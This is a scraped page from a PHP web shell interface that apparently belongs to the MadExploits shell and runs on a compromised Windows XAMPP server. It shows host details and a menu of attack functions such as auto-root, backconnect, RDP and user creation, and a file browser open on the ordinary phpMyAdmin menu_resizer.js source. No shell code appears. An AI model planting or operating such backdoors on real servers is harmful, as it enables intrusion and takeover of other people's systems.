Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
codemirror
[ DIR ]
drwxrwxrwx
database
[ DIR ]
drwxrwxrwx
designer
[ DIR ]
drwxrwxrwx
jqplot
[ DIR ]
drwxrwxrwx
server
[ DIR ]
drwxrwxrwx
setup
[ DIR ]
drwxrwxrwx
table
[ DIR ]
drwxrwxrwx
transformations
[ DIR ]
drwxrwxrwx
vendor
[ DIR ]
drwxrwxrwx
ajax.js
35.97
KB
-rw-rw-rw-
chart.js
18.05
KB
-rw-rw-rw-
common.js
4.55
KB
-rw-rw-rw-
config.js
26.76
KB
-rw-rw-rw-
console.js
55.69
KB
-rw-rw-rw-
cross_framing_protection.js
465
B
-rw-rw-rw-
doclinks.js
18.53
KB
-rw-rw-rw-
drag_drop_import.js
14.19
KB
-rw-rw-rw-
error_report.js
10.63
KB
-rw-rw-rw-
export.js
35.26
KB
-rw-rw-rw-
export_output.js
298
B
-rw-rw-rw-
functions.js
174.02
KB
-rw-rw-rw-
gis_data_editor.js
14.67
KB
-rw-rw-rw-
import.js
6.54
KB
-rw-rw-rw-
indexes.js
29.16
KB
-rw-rw-rw-
keyhandler.js
3.26
KB
-rw-rw-rw-
makegrid.js
96.45
KB
-rw-rw-rw-
menu_resizer.js
8.08
KB
-rw-rw-rw-
messages.php
41
KB
-rw-rw-rw-
microhistory.js
11.4
KB
-rw-rw-rw-
multi_column_sort.js
3.25
KB
-rw-rw-rw-
navigation.js
61.34
KB
-rw-rw-rw-
normalization.js
27.59
KB
-rw-rw-rw-
page_settings.js
1.71
KB
-rw-rw-rw-
replication.js
3.34
KB
-rw-rw-rw-
rte.js
46.97
KB
-rw-rw-rw-
shortcuts_handler.js
3.75
KB
-rw-rw-rw-
sql.js
37.77
KB
-rw-rw-rw-
u2f.js
2.44
KB
-rw-rw-rw-
whitelist.php
1.38
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : menu_resizer.js
/* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Handles the resizing of a menu according to the available screen width * * Uses themes/original/css/resizable-menu.css.php * * To initialise: * $('#myMenu').menuResizer(function () { * // This function will be called to find out how much * // available horizontal space there is for the menu * return $('body').width() - 5; // Some extra margin for good measure * }); * * To trigger a resize operation: * $('#myMenu').menuResizer('resize'); // Bind this to $(window).resize() * * To restore the menu to a state like before it was initialized: * $('#myMenu').menuResizer('destroy'); * * @package PhpMyAdmin */ (function ($) { function MenuResizer ($container, widthCalculator) { var self = this; self.$container = $container; self.widthCalculator = widthCalculator; var windowWidth = $(window).width(); if (windowWidth < 768) { $('#pma_navigation_resizer').css({ 'width': '0px' }); } // Sets the image for the left and right scroll indicator $('.scrollindicator--left').html($(Functions.getImage('b_left').toString())); $('.scrollindicator--right').html($(Functions.getImage('b_right').toString())); // Set the width of the navigation bar without scroll indicator $('.navigationbar').css({ 'width': widthCalculator.call($container) - 60 }); // Scroll the navigation bar on click $('.scrollindicator--right').on('click', function () { $('.navigationbar').scrollLeft($('.navigationbar').scrollLeft() + 70); }); $('.scrollindicator--left').on('click', function () { $('.navigationbar').scrollLeft($('.navigationbar').scrollLeft() - 70); }); // create submenu container var link = $('<a></a>', { href: '#', 'class': 'tab nowrap' }) .text(Messages.strMore) .on('click', false); // same as event.preventDefault() var img = $container.find('li img'); if (img.length) { $(Functions.getImage('b_more').toString()).prependTo(link); } var $submenu = $('<li></li>', { 'class': 'submenu' }) .append(link) .append($('<ul></ul>')) .on('mouseenter', function () { if ($(this).find('ul .tabactive').length === 0) { $(this) .addClass('submenuhover') .find('> a') .addClass('tabactive'); } }) .on('mouseleave', function () { if ($(this).find('ul .tabactive').length === 0) { $(this) .removeClass('submenuhover') .find('> a') .removeClass('tabactive'); } }); $container.children('.clearfloat').remove(); $container.append($submenu).append('<div class=\'clearfloat\'></div>'); setTimeout(function () { self.resize(); }, 4); } MenuResizer.prototype.resize = function () { var wmax = this.widthCalculator.call(this.$container); var windowWidth = $(window).width(); var $submenu = this.$container.find('.submenu:last'); var submenuW = $submenu.outerWidth(true); var $submenuUl = $submenu.find('ul'); var $li = this.$container.find('> li'); var $li2 = $submenuUl.find('li'); var moreShown = $li2.length > 0; // Calculate the total width used by all the shown tabs var totalLen = moreShown ? submenuW : 0; var l = $li.length - 1; var i; for (i = 0; i < l; i++) { totalLen += $($li[i]).outerWidth(true); } var hasVScroll = document.body.scrollHeight > document.body.clientHeight; if (hasVScroll) { windowWidth += 15; } if (windowWidth < 768) { wmax = 2000; } // Now hide menu elements that don't fit into the menubar var hidden = false; // Whether we have hidden any tabs while (totalLen >= wmax && --l >= 0) { // Process the tabs backwards hidden = true; var el = $($li[l]); var elWidth = el.outerWidth(true); el.data('width', elWidth); if (! moreShown) { totalLen -= elWidth; el.prependTo($submenuUl); totalLen += submenuW; moreShown = true; } else { totalLen -= elWidth; el.prependTo($submenuUl); } } // If we didn't hide any tabs, then there might be some space to show some if (! hidden) { // Show menu elements that do fit into the menubar for (i = 0, l = $li2.length; i < l; i++) { totalLen += $($li2[i]).data('width'); // item fits or (it is the last item // and it would fit if More got removed) if (totalLen < wmax || (i === $li2.length - 1 && totalLen - submenuW < wmax) ) { $($li2[i]).insertBefore($submenu); } else { break; } } } // Show/hide the "More" tab as needed if (windowWidth < 768) { $('.navigationbar').css({ 'width': windowWidth - 80 - $('#pma_navigation').width() }); $submenu.removeClass('shown'); $('.navigationbar').css({ 'overflow': 'hidden' }); } else { $('.navigationbar').css({ 'width': 'auto' }); $('.navigationbar').css({ 'overflow': 'visible' }); if ($submenuUl.find('li').length > 0) { $submenu.addClass('shown'); } else { $submenu.removeClass('shown'); } } if (this.$container.find('> li').length === 1) { // If there is only the "More" tab left, then we need // to align the submenu to the left edge of the tab $submenuUl.removeClass().addClass('only'); } else { // Otherwise we align the submenu to the right edge of the tab $submenuUl.removeClass().addClass('notonly'); } if ($submenu.find('.tabactive').length) { $submenu .addClass('active') .find('> a') .removeClass('tab') .addClass('tabactive'); } else { $submenu .removeClass('active') .find('> a') .addClass('tab') .removeClass('tabactive'); } }; MenuResizer.prototype.destroy = function () { var $submenu = this.$container.find('li.submenu').removeData(); $submenu.find('li').appendTo(this.$container); $submenu.remove(); }; /** Public API */ var methods = { init: function (widthCalculator) { return this.each(function () { var $this = $(this); if (! $this.data('menuResizer')) { $this.data( 'menuResizer', new MenuResizer($this, widthCalculator) ); } }); }, resize: function () { return this.each(function () { var self = $(this).data('menuResizer'); if (self) { self.resize(); } }); }, destroy: function () { return this.each(function () { var self = $(this).data('menuResizer'); if (self) { self.destroy(); } }); } }; /** Extend jQuery */ $.fn.menuResizer = function (method) { if (methods[method]) { return methods[method].call(this); } else if (typeof method === 'function') { return methods.init.apply(this, [method]); } else { $.error('Method ' + method + ' does not exist on jQuery.menuResizer'); } }; }(jQuery));
Close